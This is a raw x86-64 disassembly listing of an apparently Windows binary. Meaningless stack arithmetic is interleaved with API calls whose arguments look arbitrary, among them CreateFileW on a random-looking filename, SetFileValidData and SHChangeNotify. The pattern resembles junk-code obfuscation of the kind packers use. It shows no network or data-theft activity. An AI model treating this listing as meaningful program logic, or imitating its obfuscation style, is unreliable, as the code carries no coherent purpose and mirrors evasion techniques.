mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x129e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12b30]
mov rcx, qword [rsp + 0x12868]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x91e8]
mov edx, dword [rsp + 0x9334]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140022028
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14027d039], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf4], ax
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x12ba8], rax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59e]
and eax, ecx
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12bb0], rax
mov rax, qword [rsp + 0x12b38]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9358], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12b30]
mov qword [rsp + 0x12bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12bb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9334], eax
movzx eax, word [rsp + 0x18cc]
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb5]
movzx ecx, byte [0x14027d039]
sar eax, cl
mov byte [0x14027d03b], al
mov rax, qword [rsp + 0x11420]
mov rcx, qword [rsp + 0x12930]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12760], rax
movzx ecx, word [rsp + 0x2c1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x129f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12980]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11be0], rax
lea rax, [rsp + 0x12930]
mov qword [rsp + 0x12bc0], rax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x18cc]
and eax, ecx
mov word [rsp + 0x2bdc], ax
movsx eax, byte [rsp + 0x5a1]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x36d], al
mov edx, 0x6ce3f8
mov rcx, qword [rsp + 0x12af0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x93a4], eax
mov rcx, qword [rsp + 0x12a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9314], eax
lea rax, [rsp + 0x129a0]
mov qword [rsp + 0x12bc8], rax
mov rax, qword [rsp + 0x12958]
mov rcx, qword [rsp + 0x129f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9374], eax
mov rax, qword [rsp + 0x12868]
mov eax, dword [rax]
mov dword [rsp + 0x93a8], eax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
movzx ecx, byte [0x14027d039]
add eax, ecx
mov byte [0x1402c4152], al
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ac0]
add eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
movsx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c0c], ax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x12bd0], rax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c04], ax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov qword [rsp + 0x12bd8], rax
mov rax, qword [rsp + 0x129b0]
mov ecx, dword [rsp + 0x936c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x937c], eax
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov eax, dword [rsp + 0x93a8]
mov ecx, dword [rsp + 0x92fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9354], eax
mov rax, qword [rsp + 0x12bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf010], rax
movzx eax, word [rsp + 0x2190]
mov word [0x1402c4140], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c0c]
sar eax, cl
mov rcx, qword [rsp + 0x12858]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12be0], rax
movzx eax, byte [rsp + 0x5a0]
mov byte [rsp + 0x5a9], al
movsx eax, byte [0x14027d038]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0xea50]
mov qword [rsp + 0x12be8], rax
mov eax, dword [rsp + 0x9384]
mov ecx, dword [rsp + 0x9388]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov rax, qword [rsp + 0x12aa8]
mov rcx, qword [rsp + 0x12810]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12ae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12868]
mov rcx, qword [rsp + 0x12b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7bfc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c20]
add eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14027d03b], al
movzx eax, word [rsp + 0x2c04]
mov word [rsp + 0x2c24], ax
mov rax, qword [rsp + 0x12930]
mov rcx, qword [rsp + 0xf010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12930]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0x12848]
mov rdx, qword [rsp + 0x12818]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x929c], eax
movzx eax, byte [rsp + 0x599]
mov byte [rsp + 0x5aa], al
lea rax, [0x1402c4188]
mov qword [rsp + 0x12bf0], rax
mov rax, qword [rsp + 0x12bc8]
mov rcx, qword [rsp + 0x12b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12b48], rax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8920], eax
movsx eax, word [0x14027d37c]
movsx ecx, word [rsp + 0x2be0]
sub eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
xor eax, ecx
mov word [0x14027d3ac], ax
mov rax, qword [rsp + 0x12b20]
movzx ecx, al
mov rax, qword [0x14027d370]
sar rax, cl
mov qword [rsp + 0x127d0], rax
lea rax, [rsp + 0x163]
mov qword [rsp + 0x12bf8], rax
movzx eax, word [rsp + 0x1d4c]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be8]
or eax, ecx
mov word [rsp + 0x2bd8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.glgxRKIUkAjBqYE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12c00], rax
lea rax, [rsp + 0x93a8]
mov qword [rsp + 0x12c08], rax
mov rcx, qword [rsp + 0x12af0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9318], eax
mov rax, qword [rsp + 0x12ab0]
mov rcx, qword [rsp + 0x12ae8]
mov qword [rsp + 0x12c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12c10]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12b38]
mov ecx, dword [0x14027d378]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x91dc], eax
movzx eax, byte [rsp + 0x59e]
mov byte [rsp + 0x5ab], al
movsx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d398], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12898]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x11420]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1402301ad
mov rax, qword [rsp + 0x10f18]
mov rcx, qword [rsp + 0x11420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x11be0], rax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov word [rsp + 0x2c2c], ax
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x127f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12bc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x92d4]
mov ecx, dword [rsp + 0x7bfc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e10], eax
mov rax, qword [rsp + 0x129f0]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8920], eax
movsx eax, word [rsp + 0x2be0]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18cc], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14027d03c], al
mov rax, qword [rsp + 0xea50]
mov qword [rsp + 0x12c18], rax
movsx eax, word [rsp + 0x141c]
movsx ecx, word [rsp + 0x1400]
add eax, ecx
mov word [rsp + 0x18cc], ax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov word [rsp + 0x2c30], ax
movzx eax, byte [0x14027d039]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x596], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x98dd
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9240], eax
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [rsp + 0x9358]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9384], eax
mov eax, dword [0x1402c4188]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
shl eax, cl
mov dword [rsp + 0x9064], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12c20], rax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x12968]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x12aa8], rax
movzx eax, byte [rsp + 0x5a3]
mov byte [rsp + 0x5ac], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2620], ax
mov rax, qword [rsp + 0x12bd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
sar eax, cl
mov byte [0x14027d039], al
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0x12bc0]
mov rax, qword [rax]
mov qword [rsp + 0x12c28], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12b50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xea50], rax
lea rcx, [rsp + 0x28388]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x12c08]
mov ecx, dword [rsp + 0x9200]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x87d0], eax
mov rax, qword [rsp + 0x12b58]
mov rcx, qword [0x1402c4180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12b18], rax
mov eax, dword [rsp + 0x936c]
mov ecx, dword [rsp + 0x9374]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov rax, qword [rsp + 0x12ba8]
movzx eax, word [rax]
mov word [rsp + 0x2c34], ax
movzx eax, byte [rsp + 0x27f]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x599], al
movzx eax, word [rsp + 0x2c2c]
mov rcx, qword [rsp + 0x12998]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14027d3b0], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov qword [rsp + 0x12c30], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12c18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x597]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x12ab0]
mov rcx, qword [rsp + 0x12b48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12968], rax
mov eax, dword [rsp + 0x9064]
cdq
mov ecx, 0x17aa
idiv ecx
mov dword [rsp + 0x93a8], eax
movzx eax, byte [rsp + 0x5a1]
mov byte [rsp + 0x5ad], al
lea rdx, [rsp + 0x129e0]
mov rcx, qword [rsp + 0x12c00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9348], eax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x129f0]
mov qword [rsp + 0x12c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12c38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x93a0], eax
mov rax, qword [rsp + 0x12b30]
mov rcx, qword [rsp + 0x12bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x8e10]
mov edx, dword [0x14027d384]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140022a18
movzx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be4]
add eax, ecx
mov word [0x14027d3a0], ax
lea rdx, [rsp + 0x12a90]
mov rcx, qword [rsp + 0x12c40]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x9304], eax
mov rax, qword [0x1402c4178]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1380]
add eax, ecx
mov word [rsp + 0x2bdc], ax
movzx eax, byte [rsp + 0x59e]
movzx ecx, byte [rsp + 0x59d]
sub eax, ecx
mov byte [rsp + 0xb5], al
jmp 0x140022b66
movzx eax, byte [rsp + 0x59d]
mov rcx, qword [rsp + 0x12b28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x12950]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140022b66
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
mov rcx, qword [0x1402c4178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x12bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bfc], eax
mov rax, qword [0x1402c4170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12b48], rax
lea rcx, [rsp + 0x12ae8]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x93ac], eax
mov eax, dword [rsp + 0x9320]
mov ecx, dword [rsp + 0x9374]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12b38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
and eax, ecx
mov word [rsp + 0x2bf4], ax
movsx eax, word [0x14027d3a4]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5aa]
shl eax, cl
mov byte [0x1402c4152], al
mov rax, qword [rsp + 0x12928]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x2c20]
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rax]
call fcn.1402319d0
lea rcx, [rsp + 0x129b0]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x12c48], rax
lea rax, [rsp + 0x12b50]
mov qword [rsp + 0x12c50], rax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x129f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12c30]
movzx ecx, al
mov rax, qword [rsp + 0x12b40]
sar rax, cl
mov qword [rsp + 0x12ab8], rax
movzx eax, byte [rsp + 0x5a5]
mov byte [rsp + 0x5ae], al
mov rax, qword [rsp + 0x12958]
mov rcx, qword [rsp + 0x12b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x129f0]
mov rdx, qword [rsp + 0x129b0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x140022ce0
mov rax, qword [rsp + 0x12bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5a2], al
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12aa8], rax
mov eax, dword [rsp + 0x92d4]
mov ecx, dword [rsp + 0x9334]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e10], eax
mov rax, qword [rsp + 0x129f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9320]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7774], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14027d37c], ax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12a08]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xd0
lea r9, [rsp + 0x129f0]
mov r8, qword [rsp + 0x12ac8]
mov rdx, qword [rsp + 0x12c58]
mov rcx, qword [rsp + 0x12878]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x92ec], eax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12bd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
sub eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x12bc8]
mov rcx, qword [rsp + 0x12890]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x127d8], rax
mov eax, dword [rsp + 0x93a8]
mov dword [rsp + 0x93b0], eax
mov eax, dword [rsp + 0x9320]
movzx ecx, al
mov eax, dword [rsp + 0x9220]
shr eax, cl
mov dword [rsp + 0x9358], eax
mov rax, qword [rsp + 0xf010]
mov qword [rsp + 0x12c60], rax
movzx eax, byte [rsp + 0x48]
movzx ecx, byte [rsp + 0x5a8]
shl eax, cl
mov byte [0x14027d03b], al
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2be0], ax
movzx eax, word [rsp + 0x2620]
mov word [rsp + 0x2c38], ax
movsx eax, word [rsp + 0x1318]
movsx ecx, word [rsp + 0x1380]
and eax, ecx
movsx ecx, word [0x14027d3a4]
mov rdx, qword [rsp + 0x12978]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140022ec2
movzx r8d, byte [rsp + 0x392]
mov rax, qword [rsp + 0x12b60]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x12ab0]
call fcn.140231c40
movsx eax, byte [rsp + 0x598]
movsx ecx, byte [rsp + 0x5a2]
sub eax, ecx
mov byte [rsp + 0x5a1], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12c60], rax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x7bfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93a8], eax
lea r9, [rsp + 0x12a90]
lea r8, [rsp + 0x12928]
mov edx, 0xe7
mov ecx, 0x25
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [0x1402c4178]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x127f8]
mov r8, qword [rax]
movzx edx, word [rsp + 0x2bc0]
movzx ecx, word [rsp + 0x1d4c]
call fcn.140231910
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rsp + 0x129a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12bb0], rax
lea rcx, [rsp + 0x298c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x12958]
mov ecx, dword [rsp + 0x9358]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9320], eax
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rsp + 0x12bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127c0]
mov rdx, qword [rsp + 0x12b58]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x14023001c
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9244], eax
lea rax, [rsp + 0x29dc]
mov qword [0x1402c4138], rax
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe730], rax
mov rax, qword [rsp + 0x12bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a3]
sub eax, ecx
mov byte [rsp + 0x5a1], al
mov rax, qword [rsp + 0x12b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
mov dword [rsp + 0x93b4], ecx
movsx edx, byte [rsp + 0x5ac]
movzx ecx, dl
mov edx, dword [rsp + 0x93b4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14022fe79
mov rax, qword [rsp + 0x10f18]
mov qword [rsp + 0x12c68], rax
mov rax, qword [rsp + 0x129c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12c18], rax
mov eax, dword [rsp + 0x9230]
mov rcx, qword [rsp + 0x12958]
mov qword [rsp + 0x12c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12c70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x936c], eax
mov rax, qword [rsp + 0x12b18]
mov qword [rsp + 0x12c78], rax
mov eax, dword [rsp + 0x9334]
movzx ecx, al
mov eax, dword [rsp + 0x9354]
shl eax, cl
mov dword [rsp + 0x9398], eax
mov rax, qword [0x1402c4158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c0c]
or eax, ecx
mov word [rsp + 0x1924], ax
movzx eax, byte [rsp + 0x5a7]
mov byte [0x1402c4130], al
movsx eax, byte [rsp + 0x163]
movsx ecx, byte [rsp + 0x5a6]
xor eax, ecx
mov rcx, qword [rsp + 0x129c8]
mov byte [rcx], al
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x12ae8]
mov rdx, qword [rsp + 0x12bc8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jb 0x1400231cf
movzx eax, word [rsp + 0x2c30]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2568], ax
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [rsp + 0x127f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12968]
mov rdx, qword [rsp + 0x127d8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jb 0x1400231cf
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
mov qword [rsp + 0x12c80], rax
movsx eax, word [rsp + 0x2bc4]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x12bb0]
mov qword [rsp + 0x12c88], rax
mov rax, qword [rsp + 0x12b38]
mov eax, dword [rax]
mov dword [rsp + 0x9388], eax
mov eax, dword [rsp + 0x92fc]
mov ecx, dword [rsp + 0x9398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d2], al
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [0x14027d3a8], ax
mov rax, qword [rsp + 0x12bc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf010]
sar rax, cl
mov qword [rsp + 0x128c8], rax
movzx eax, byte [rsp + 0x5ab]
mov byte [rsp + 0x5af], al
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2c0c]
xor eax, ecx
mov word [rsp + 0x2c28], ax
movzx eax, word [rsp + 0x2568]
mov word [rsp + 0x2c3c], ax
mov eax, dword [rsp + 0x87d0]
cdq
mov ecx, 0x7c99
idiv ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9358]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9320], eax
mov rax, qword [rsp + 0x12b48]
mov rcx, qword [rsp + 0x12b10]
mov qword [rsp + 0x12c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12c90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x112b8], rax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x163]
add eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14027d3b4], ax
mov rax, qword [0x1402c4148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59a]
sub eax, ecx
mov byte [rsp + 0x27f], al
mov qword [rsp + 0x30], 0
